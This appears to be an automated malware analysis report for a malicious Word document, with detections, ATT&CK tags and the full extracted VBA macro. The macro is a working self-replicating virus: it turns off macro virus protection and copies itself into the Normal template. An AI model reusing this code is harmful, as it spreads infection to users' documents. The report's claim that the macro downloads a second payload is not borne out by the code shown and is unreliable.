MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is present and attempts to overwrite the existing code with new content, likely to download and execute a secondary payload. The presence of VBA macros and the 'Document_Open' event strongly suggests a spearphishing attachment attack vector.
Heuristics 3
-
ClamAV: Doc.Trojan.Minimal-21 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Minimal-21
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 887 bytes |
SHA-256: ff2f648779f9ed52e70a153f30381fa10d295419d09419dcb8ba9f2a50c2b216 |
|||
|
Detection
ClamAV:
Doc.Trojan.Minimal-21
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub document_open(): Const nula = 0
Dim a, b, c, d: Set b = ThisDocument: Options.VirusProtection = nula
If b = ActiveDocument Then Set c = NormalTemplate Else Set c = ActiveDocument
d = b.VBProject.vbcomponents(1).codemodule.lines(1, _
b.VBProject.vbcomponents(1).codemodule.countoflines): a = Strings.LCase(d)
With c.VBProject.vbcomponents(1).codemodule
If .lines(14, 1) <> "'string2" Then
With c.VBProject.vbcomponents(1).codemodule
.deletelines 1, c.VBProject.vbcomponents(1).codemodule.countoflines
.insertlines 1, a
End With
End If
End With
End Sub
'string2
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.